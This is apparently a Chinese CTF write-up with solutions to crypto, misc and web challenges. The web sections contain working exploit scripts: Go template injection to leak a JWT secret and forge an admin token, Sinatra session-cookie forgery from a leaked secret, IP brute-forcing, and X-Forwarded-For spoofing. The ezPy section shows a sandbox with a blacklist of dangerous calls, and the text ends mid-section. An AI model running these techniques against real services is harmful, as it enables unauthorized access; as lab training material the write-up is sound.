2025校赛wp

crypto

We are Family!

All the codes are family
Difficulty: Easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import base64, binascii

s = """xxxx"""

# 1) base36 -> bytes -> emoji 文本
n = int(s, 36)
b = n.to_bytes((n.bit_length()+7)//8, 'big')
emoji_text = b.decode('utf-8')
print("1:", emoji_text)

# 2) emoji -> hex
order = sorted(set(emoji_text))
emap = {emj: format(i, 'x') for i, emj in enumerate(order)}
hex_str = ''.join(emap[ch] for ch in emoji_text)
data = binascii.unhexlify(hex_str)
print("2:", data)

# 3) Ascii85
a85 = base64.a85decode(data.decode('latin1'))
print("3:", a85)

# 4) Base64
b64 = base64.b64decode(a85)
s2 = b64.decode('latin1')
print("4:", s2)

# 5) Base91 解码
alphabet91 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%&()*+,./:;<=>?@[]^_`{|}~\""
d = {c:i for i,c in enumerate(alphabet91)}
v=-1; b=0; nbits=0; out=bytearray()
for ch in s2:
if ch not in d: continue
c=d[ch]
if v<0: v=c
else:
v+=c*91; b|=v<<nbits; nbits+=13 if (v&8191)>88 else 14
while nbits>7:
out.append(b&0xFF); b>>=8; nbits-=8
v=-1
if v+1: out.append((b | v<<nbits)&0xFF)
s3 = out.decode('latin1')
print("5:", s3)

# 6) Base58
alphabet58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
m58 = {c:i for i,c in enumerate(alphabet58)}
num=0
for ch in s3: num = num*58 + m58[ch]
b58 = num.to_bytes((num.bit_length()+7)//8, 'big')
s4 = b58.decode('latin1')
print("6:", s4)

# 7) Base62
alphabet62 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
num=0
for ch in s4: num = num*62 + alphabet62.index(ch)
b62 = num.to_bytes((num.bit_length()+7)//8, 'big')
s5 = b62.decode('ascii')
print("7:", s5)

# 8) Base32
pad = '=' * ((8 - len(s5)%8) % 8)
flag = base64.b32decode(s5 + pad).decode()
print(flag)

misc

CompressionLab

Zip files are a fundamental component of the system.
Difficultly: Normal

伪加密的压缩包和真加密的压缩包多层嵌套,如果是真加密则使用内层压缩包的文件名作为密码

解压到最后得到Hint: The flag is encoded in binary, try to find it.

一共336层,8位一组刚好42组,将伪加密的层变为0,真加密的层为1,转字符串得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import zipfile
from contextlib import suppress
from io import BytesIO
from pathlib import Path
from typing import List, Optional


PK_CENTRAL = b"PK\x01\x02"
ZIP_FILE = Path("dc7f41a02c1eb2ecb0f1b10a79e2ea20.zip")
LAYERS_ROOT = Path("layers")


# 判断给定 ZIP 是否属于伪加密
def is_pseudo_encrypted(zp: Path) -> bool:
def can_read_any_member(source) -> bool:
with zipfile.ZipFile(source, "r") as zf:
for info in zf.infolist():
if info.is_dir():
continue
with zf.open(info) as fh:
fh.read(1)
break
return True

with suppress(Exception):
if can_read_any_member(zp):
return True

data = bytearray(zp.read_bytes())
flag_offset = -1
search_from = 0

while True:
idx = data.find(PK_CENTRAL, search_from)
if idx == -1:
break
candidate = idx + 8
if candidate < len(data) and data[candidate] == 0x01:
flag_offset = candidate
search_from = idx + 4

if flag_offset == -1:
return False

data[flag_offset] = 0x00
with suppress(Exception):
return can_read_any_member(BytesIO(data))
return False

# 处理伪加密 ZIP
def extract_pseudo_encrypted(zp: Path, outdir: Path) -> bool:
data = bytearray(zp.read_bytes())
flag_offset = -1
search_from = 0

while True:
idx = data.find(PK_CENTRAL, search_from)
if idx == -1:
break
candidate = idx + 8
if candidate < len(data) and data[candidate] == 0x01:
flag_offset = candidate
search_from = idx + 4

if flag_offset != -1:
data[flag_offset] = 0x00
source = BytesIO(data)
else:
source = zp

with suppress(Exception):
with zipfile.ZipFile(source, "r") as zf:
zf.extractall(outdir)
return True

return False


# 处理真加密 ZIP
def extract_real_encrypted(zp: Path, outdir: Path) -> bool:
with zipfile.ZipFile(zp, "r") as zf:
members = [info for info in zf.infolist() if not info.is_dir()]

if not members:
return False

members.sort(key=lambda info: (info.filename.count("/"), len(info.filename)))

password: Optional[str] = None

for info in members:
name = Path(info.filename).name
if not name:
continue
candidate = Path(name).stem if name.lower().endswith(".zip") else name
if password is None:
password = candidate
if name.lower().endswith(".zip"):
password = candidate
break

if not password:
return False

with suppress(Exception):
with zipfile.ZipFile(zp, "r") as zf:
zf.extractall(outdir, pwd=password.encode())
return True

return False


if __name__ == "__main__":
bits: List[str] = []
current = ZIP_FILE.resolve()
level = 0

LAYERS_ROOT.mkdir(exist_ok=True)

while True:
print(f"\n正在处理第 {level} 层:{current}")
layer_dir = LAYERS_ROOT / f"layer_{level}"
layer_dir.mkdir(parents=True, exist_ok=True)

if is_pseudo_encrypted(current):
print("伪加密")
succeeded = extract_pseudo_encrypted(current, layer_dir)
bit = "0"
else:
print("真加密")
succeeded = extract_real_encrypted(current, layer_dir)
bit = "1"

if not succeeded:
print(f"处理失败:{current}")
break

bits.append(bit)

next_zip = None
for base in (layer_dir / "tmp", layer_dir):
if not base.exists():
continue
for path in base.rglob("*.zip"):
next_zip = path
break
if next_zip:
break

if not next_zip or not zipfile.is_zipfile(next_zip):
print("未找到下一层 ZIP,处理结束\n")
break

current = next_zip
level += 1

bit_text = "".join(bits)


print(bit_text)
chars = [bit_text[i:i+8] for i in range(0, len(bit_text), 8)]
text = ''.join(chr(int(b, 2)) for b in chars)
print(text)

DeepSleep

Little Sheep believes that DeepSleep is better than DeepSeek
Difficulty: Normal

附件是一个ad1文件 deepsleep_c2hpZnQh.ad1

文件尾

1
the key is 12345678, but it was transformed! good luck!

文件名base64得到shift!

FTK解密ad1文件,密码是!@#$%^&*

挂载后导出448个.crypto文件

(似曾相识的题目)

观察发现时间只有 2025/10/1 11:11 和 2024/10/1 11:11 两种

根据文件名转二进制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import os

from dateutil import parser
timestamp = parser.parse("2025-10-01 11:11:11").timestamp()
print(timestamp)


list = ['']*448
for j in range(448):
list[j] = os.path.getmtime('file\\'+str(j)+'.crypto')
print(list)


flag = ''
i = 0
for i in range(448):
if(str(list[i]) == str(timestamp)):
flag += '0'
else:
flag += '1'
print(flag)


tmp = ''
for k in range(len(flag)):
tmp += flag[k]
if len(tmp) == 8:
print(chr(int(tmp,2)),end='')
tmp = ''

'''
Cool! You found key is 0a7e3b19dc703f2641c7ec4f0743364e!
'''

用encrypto和这个密码分别解两个时间不一样的文件得到flag-part1.txtflag-part2.txt,拼接在一起得到flag

SanJiaoZhou

Delta Action “is a multi platform and cross platform first person special operations officer tactical shooting game developed by the Linlang Tiantian team of Tencent Tianmei Studio and published by Tencent Games
Difficulty: Normal

附件可以分离出一张jpg,一张png 和结尾的一段数据

hint3: Misc - SanJiaoZhou 文件尾是一个zip压缩包

将数据逐字节和zip头异或,发现规律

转成zip

1
2
t = bytes([i ^ 25 for i in range(256)])
open('1.zip', 'wb').write(open('1.bin', 'rb').read()[::-1].translate(t))

解压后得到两句话

1
2
Try the abbreviation, it will surprise you.
I once heard that the "Heart Of Africa" is the most beautiful thing in the world.

cloacked-pixel解密得到flag

1
2
3
C:\Users\dr0n1\Desktop\0misc\cloacked-pixel-master>python2 lsb.py extract a.png 1.txt HOA
[+] Image size: 800x1067 pixels.
[+] Written extracted data to 1.txt.

Who’s Cat

Ouch! Who’s Cat there? Maybe its owner is Mr.Alpha and its name is Wednesday.
Difficulty: Normal

猫脸变换

先将拉伸的长方形图片改为正方形

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from PIL import Image

img = Image.open("encrypted.png")

w, h = img.size

if w > h:
# 横向被拉伸
img_resized = img.resize((h, h))
else:
# 竖向被拉伸
img_resized = img.resize((w, w))

img_resized.save("out.png")

然后根据提示的信息使用参数1和3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
# @Author : 1cePeak

import matplotlib.pyplot as plt
import cv2
import numpy as np
from PIL import Image

img = cv2.imread('out.png')

def arnold_decode(image, shuffle_times, a, b):
""" decode for rgb image that encoded by Arnold
Args:
image: rgb image encoded by Arnold
shuffle_times: how many times to shuffle
Returns:
decode image
"""
# 1:创建新图像
decode_image = np.zeros(shape=image.shape)
# 2:计算N
h, w = image.shape[0], image.shape[1]
N = h # 或N=w

# 3:遍历像素坐标变换
for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
# 按照公式坐标变换
new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
new_y = ((-a) * ori_x + ori_y) % N
decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]

cv2.imwrite('flag.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return decode_image

arnold_decode(img, 1, 3, 1)

得到flag

web

babyGo

Golang is a statically typed, compiled programming language designed at Google. It is known for its simplicity, efficiency, and strong support for concurrent programming. Go is often used for building web servers, networking tools, and other performance-critical applications.
Difficulty: Normal

来自LineCTF2022 gotm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
package main

import (
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"text/template"

"github.com/golang-jwt/jwt"
)

type Account struct {
id string
pw string
is_admin bool
secret_key string
}

type AccountClaims struct {
Id string `json:"id"`
Is_admin bool `json:"is_admin"`
jwt.StandardClaims
}

type Resp struct {
Status bool `json:"status"`
Msg string `json:"msg"`
}

type TokenResp struct {
Status bool `json:"status"`
Token string `json:"token"`
}

var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("GZCTF_FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")

func clear_account() {
acc = acc[:1]
}

func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}

func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}

func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}

func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}

func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")

if uid == "" || upw == "" {
return
}

if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)

p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}

func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}

func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}

func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)

http.HandleFunc("/", root_handler)
http.HandleFunc("/auth", auth_handler)
http.HandleFunc("/flag", flag_handler)
http.HandleFunc("/regist", regist_handler)
log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}

共有四个路由,功能分别如下

auth_handler 处理登录,请求需包含 id 与 pw,成功则返回 JWT
regist_handler 处理注册逻辑,限制最多保留 5 个账户(含管理员)
flag_handler 仅允许管理员通过提供的 token 获取 flag
root_handler 在首页展示当前登录用户,若无 token 则返回空响应

首先随意注册了一个用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url="http://10.151.151.41:33090"
username = "aaa"
password = "a"


r = requests.get(url+"/regist",params={"id":username,"pw":password})
print("regist",r.text)

r = requests.get(url+"/auth",params={"id":username,"pw":password})
print("auth",r.text)


token = r.json().get("token")
print("token:",token)

r = requests.get(url+"/",headers={"X-Token":token})
print(r.text)


'''
regist
auth {"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImFhYSIsImlzX2FkbWluIjpmYWxzZX0.6uGWxgr0rCe9iAvgIagMd8knwDQmnoIpSJyjC3IV3ZM"}
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImFhYSIsImlzX2FkbWluIjpmYWxzZX0.6uGWxgr0rCe9iAvgIagMd8knwDQmnoIpSJyjC3IV3ZM
Logged in as aaa
'''

可以看到因为template.New("").Parse("Logged in as " + acc.id),所以登录的用户的id会渲染在屏幕上,存在ssti

可以用{{printf "%#v" .}}作为用户名来注册

登录后返回

1
Logged in as &main.Account{id:"{{printf \"%#v\" .}}", pw:"a", is_admin:false, secret_key:"iLe9rZ9sFIfMvPL6IiT+Ng=="}

拿到key后就可以伪造jwt了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import re
import hashlib
import json
import hmac
import base64
import jwt

url="http://10.151.151.41:33090"
username = "{{printf \"%#v\" .}}"
password = "a"


# 获取token
requests.get(url+"/regist",params={"id":username,"pw":password})
r = requests.get(url+"/auth",params={"id":username,"pw":password})
token = r.json().get("token")
print("token:",token)


# 获取secret_key
r = requests.get(url+"/",headers={"X-Token":token})
print(r.text)
secret_key = re.findall(r'secret_key:"([^"]+)"',r.text)[0]
print("secret_key:",secret_key)


# 伪造admin token
# header = {"alg": "HS256", "typ": "JWT"}
# payload = {"id": 'admin', "is_admin": True}
# h = base64.urlsafe_b64encode(json.dumps(header, separators=(",", ":")).encode("utf-8")).rstrip(b"=")
# p = base64.urlsafe_b64encode(json.dumps(payload, separators=(",", ":")).encode("utf-8")).rstrip(b"=")
# sig = hmac.new(secret_key.encode("utf-8"), h + b"." + p, hashlib.sha256).digest()
# s = base64.urlsafe_b64encode(sig).rstrip(b"=")
# admin_token = (h + b"." + p + b"." + s).decode("utf-8")
# print("admin_token:",admin_token)
payload = {"id": "admin", "is_admin": True}
headers = {"typ": "JWT"}
admin_token = jwt.encode(payload, secret_key, algorithm="HS256", headers=headers)
print("admin_token:", admin_token)


# 获取flag
r = requests.get(url+"/flag",headers={"X-Token":admin_token})
print(r.text)

babyWeb

If you wish to snatch the flag from my grasp, you must first cross 2048.
Difficultly: Easy

网页js小游戏,flag在/js/html_actuator.js

ezRuby

You might know what is Rust, so that you have to learn what is Ruby.
Difficulty: Medium

来自 justCTF 2023 Dangerous

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
require "sinatra"
require "sqlite3"
require "erubi"
require "digest"
require "json"

config = JSON.parse(File.read("./config.json"))

set :bind, '0.0.0.0'
enable :sessions
set :erb, :escape_html => true

con = SQLite3::Database.new "sqlite.db"

con.execute "CREATE TABLE IF NOT EXISTS threads(
id INTEGER PRIMARY KEY AUTOINCREMENT,
content TEXT,
ip TEXT,
username TEXT
);"

con.execute "CREATE TABLE IF NOT EXISTS replies(
id INTEGER PRIMARY KEY AUTOINCREMENT,
content TEXT,
ip TEXT,
username TEXT,
thread_id INTEGER
);"

def get_threads(con)
return con.execute("SELECT * FROM threads ORDER BY id DESC;")
end

def get_replies(con, id)
return con.execute("SELECT *, null, 0 as p FROM threads WHERE id=?
UNION SELECT *, 1 as p FROM replies WHERE thread_id=? order by p", [id, id])
end

def is_allowed_ip(username, ip, config)
return config["mods"].any? {
|mod| mod["username"] == username and mod["allowed_ip"] == ip
}
end


get "/" do
@threads = get_threads(con)
erb :index
end

post "/thread" do
if params[:content].nil? or params[:content] == "" then
raise "Thread content cannot be empty!"
end
if session[:username] then
username = is_allowed_ip(session[:username], request.ip, config) ? session[:username] : nil
end
# con.execute("INSERT INTO threads (id, content, ip, username)
# VALUES (?, ?, ?, ?)", [nil, params[:content], request.ip, username])
redirect to("/#{con.execute('SELECT last_insert_rowid()')[0][0]}")
end

get "/flag" do
if !session[:username] then
erb :login
elsif !is_allowed_ip(session[:username], request.ip, config) then
return [403, "You are connecting from untrusted IP!"]
else
return config["flag"]
end
end

post "/login" do
if config["mods"].any? {
|mod| mod["username"] == params[:username] and mod["password"] == params[:password]
} then
session[:username] = params[:username]
redirect to("/flag")
else
return [403, "Incorrect credentials"]
end
end

get "/:id" do
@id = params[:id]
@replies = get_replies(con, @id)
erb :thread
end

post "/:id" do
if params[:content].nil? or params[:content] == "" then
raise "Reply content cannot be empty!"
end
if session[:username] then
username = is_allowed_ip(session[:username], request.ip, config) ? session[:username] : nil
end
@id = params[:id]
# con.execute("INSERT INTO replies (id, content, ip, username, thread_id)
# VALUES (?, ?, ?, ?, ?)", [nil, params[:content], request.ip, username, @id])
redirect to("/#{@id}")
end

共有六个路由,功能分别如下

/:展示主题帖列表,从 threads 表读取所有帖子并渲染 index
/thread:创建新主题帖,校验 content
/flag:未登录渲染登录页;已登录但 IP 不可信返回 403;已登录且 IP 可信则返回 flag
/login:处理登录,校验是否在 config[“mods”];成功写入会话并跳转到 flag 页面,失败返回 403
get /:id:展示指定帖详情,查询该帖及其所有回复(UNION 合并,帖子在前),渲染 thread
post /:id:给指定帖回帖,校验 content 非空;若会话用户名且 IP 可信则记录用户名

可以看到获得flag需要两个条件,用户和ip


当用空的 content 访问 /thread 或者 /:id 时都能触发raise,会返回error page

可以泄露 secret key

通过key可以伪造session

sinatra中的加密实现

1
2
3
4
数据首先通过 Marshal 进行序列化
然后使用 AES-256-GCM 加密,以 session secret 的前 32 个字节作为密钥
然后使用 URL-safe base64 编码加密数据、IV 和身份验证标签
最后加密数据、IV 和身份验证标签随后通过--分隔符连接起来

伪造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64
import urllib.parse
import requests
import rubymarshal.reader, rubymarshal.writer
from Crypto.Cipher import AES

# 已知的服务器密钥,用于 AES-GCM 解密和重新加密 rack.session
secret = bytes.fromhex('c089cdd0a034f5ad365ab3e809e5ac0ec2f6faa248800db6d87af7dff1b1aac16c14f6c2ccf01d7ecd2c8842cbdf6dcd8bb7d2a07eb3286679f66e1bd256845c')

# 从目标站点请求一次 flag 页面,以获取最新的 rack.session Cookie
response = requests.get('http://10.151.151.41:33105/flag')
response.raise_for_status() # 若请求失败立刻抛异常,避免后续处理脏数据

# rack.session 会经过 URL 编码,需要先解码再拆分出密文、IV、认证标签
cookie = urllib.parse.unquote(response.cookies['rack.session'])
ct, iv, auth = map(base64.b64decode, cookie.split('--'))

# 使用服务器密钥和原始 IV 解密,并验证 GCM 标签确保数据未被篡改
cipher = AES.new(secret[:32], AES.MODE_GCM, iv)
dec = cipher.decrypt_and_verify(ct, auth)
d = rubymarshal.reader.loads(dec) # Rack 使用 Ruby Marshal 存储会话,因此需要反序列化

# 将会话中的用户名字段改为管理员身份
d['username'] = 'xxxx'
# 重新使用 Ruby Marshal 序列化会话数据
m = rubymarshal.writer.writes(d)

# 复用原始的 IV 重新加密会话数据
cipher = AES.new(secret[:32], AES.MODE_GCM, iv)
ct, auth = cipher.encrypt_and_digest(m)

# 将新的密文、IV、标签保持为 Base64 文本并拼接成最终 Cookie
ct, iv, auth = map(base64.b64encode, [ct, iv, auth])
cookie = '--'.join(part.decode() for part in (ct, iv, auth))
print(cookie)

或者使用ruby的方式来伪造

1
2
3
4
5
6
7
8
9
require 'sinatra'

use Rack::Protection::EncryptedCookie,
:secret => "c089cdd0a034f5ad365ab3e809e5ac0ec2f6faa248800db6d87af7dff1b1aac16c14f6c2ccf01d7ecd2c8842cbdf6dcd8bb7d2a07eb3286679f66e1bd256845c"

get '/' do
session[:username] = 'xxxx'
"session: " + session.inspect
end

访问后复制rack.session即可


然后需要伪造ip

在 thread.erb 中可以看到用 reply[2] 与 @id 拼成字符串后做 SHA256,再取前 6 位十六进制作为颜色值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<% @replies.each do |reply| %>
<div class="reply">
<div class="user-info">
<% user_color = Digest::SHA256.hexdigest(reply[2] + @id).slice(0, 6) %>
<div style="color: #<%= user_color %>;">
<%= user_color %>
<% if reply[3] %>
<span style="color: #ff0000;">##Admin:<%= reply[3] %>##</span>
<% end %>
</div>
</div>
<div class="reply-content">
<%= reply[1] %>
</div>
</div>
<% end %>

根据sql语句,可以知道reply[2]表示的就是ip地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
con.execute "CREATE TABLE IF NOT EXISTS threads(
id INTEGER PRIMARY KEY AUTOINCREMENT,
content TEXT,
ip TEXT,
username TEXT
);"

def get_replies(con, id)
return con.execute("SELECT *, null, 0 as p FROM threads WHERE id=?
UNION SELECT *, 1 as p FROM replies WHERE thread_id=? order by p", [id, id])
end

get "/:id" do
@id = params[:id]
@replies = get_replies(con, @id)
erb :thread
end

这样就可以在网页提取rgb值然后爆破ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# import requests
# import re

# URL1 = "http://10.151.151.41:33105/1"
# URL2 = "http://10.151.151.41:33105/2"

# PATTERN = re.compile(
# r'<div style="color: #([0-9a-fA-F]{6});">.*?<span style="color: #ff0000;">##Admin:(.*?)##</span>',
# re.DOTALL
# )

# def extract_color(html: str):
# for color_code, admin_name in PATTERN.findall(html):
# if "admin" in admin_name.lower():
# return color_code
# return None

# c1 = extract_color(requests.get(URL1).text)
# c2 = extract_color(requests.get(URL2).text)

# print(f"c1='{c1}'\nc2='{c2}'")






from Crypto.Hash import SHA256
from multiprocessing import Pool

c1='6b1ed8'
c2='3eb584'

def brute(a):
for b in range(256):
for c in range(256):
for d in range(256):
ip = f'{a}.{b}.{c}.{d}'

hash1 = SHA256.new((ip + "1").encode()).hexdigest()[:6]
hash2 = SHA256.new((ip + "2").encode()).hexdigest()[:6]
if hash1 == c1 and hash2 == c2:
print(f'{a}.{b}.{c}.{d}', flush=True)

if __name__ == '__main__':
with Pool(8) as p:
p.map(brute, range(256))

最后用伪造的session和ip访问 /flag

1
2
3
4
5
6
7
8
9
import requests
import urllib.parse


url = "http://10.151.151.41:33095/flag"
session = "uTWw0navKW9f0Z/A8ZJUmt3gfO4Ib4No2PMCvz0TM4WclllJg0nO+BTSQk8HwuqbrMb4uVMrBP9FgizvVHfT9M2GXew79EyvaWboOq/MUCzZOIz39N/prMWICZjQ/taUGoC7lLDoYyL2ND2qKd8k2LF0h9jm02c17dBRC3SZx9ZpwIkNiT+5DjKQNTfnF2/AeR+ArRBa90k3cDL8ZWLSryXzWyJeAQ6A61p6j5/RUzntGpgb4rOH33ac+lP8p9SNpRUa5MamLpnQE7mVdiNlXLSYJRX1zuPT8ZpwsaJpjVbGbAtly7gumJkwoe2vZczXQOB6T9KWvnwA/fqB1x0yOrND8Y55fAA==--/ic6Q4XjpPNDE0mF--8BxFTtfWYX0HG3XYa1QLrg=="

response = requests.get(url,cookies={"rack.session":urllib.parse.quote(session)},headers={"X-Forwarded-For":"24.12.216.232"})
print(response.text)

ezPy

Oh my god, I’m trapped in the cage of Python, who can take me out!
Difficulty: Hard

来自第八届强网杯 积木编程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

def module_exists(module_name):

spec = importlib.util.find_spec(module_name)
if spec is None:
return False

if module_name in sys.builtin_module_names:
return True

if spec.origin:
std_lib_path = os.path.dirname(os.__file__)

if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False

def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return False
return True

def check_for_blacklisted_symbols(input_text):
if re.search(blacklist_pattern, input_text):
return True
else:
return False



def block_to_python(block):
block_type = block['type']
code = ''

if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"

elif block_type == 'math_number':

if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:

code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
elif block_type == 'max':

a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"

elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"

if 'next' in block:

block = block['next']['block']

code +="\n" + block_to_python(block)+ "\n"
else:
return code
return code

def json_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]

python_code = ""
python_code += block_to_python(block) + "\n"


return python_code

def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"

@app.route('/')
def index():
return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})

if __name__ == '__main__':
app.run(host = '0.0.0.0', port=8083)

使用了unidecode来处理字符串

1
2
3
4
